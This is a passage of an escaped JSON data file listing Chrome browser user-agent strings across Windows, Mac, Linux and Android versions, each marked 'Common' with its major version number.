Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Linux; U) AppleWebKit\\/537.4 (KHTML, like Gecko) Chrome\\/22.0.1229.79 Safari\\/537.4\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.0.12195 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; MYA-L22 Build\\/HUAWEIMYA-L22) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; vivo 1606 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; ASUS_T00J Build\\/KVT49L) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.167 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1; Mi A1 Build\\/N2G47H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-T800 Build\\/MMB29K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.107 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; RKM MK902 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/534.24 (KHTML, like Gecko) Chrome\\/11.0.696.34 Safari\\/534.24\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; A37f Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.93 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; CPH1607 Build\\/MMB29M; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit\\/525.19 (KHTML, like Gecko) Chrome\\/1.0.154.36 Safari\\/525.19\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4; Nexus 5 Build\\/LMY48B ) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/30.0.0.0 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; SM-G7102 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android-4.0.3; en-us; Galaxy Nexus Build\\/IML74K) AppleWebKit\\/535.7 (KHTML, like Gecko) CrMo\\/16.0.912.75 Mobile Safari\\/535.7\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0.2; vivo Y51 Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android-4.0.3; en-us; Xoom Build\\/IML77) AppleWebKit\\/535.7 (KHTML, like Gecko) CrMo\\/16.0.912.75 Safari\\/535.7\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; Redmi 4A Build\\/MMB29M; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/60.0.3112.116 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows 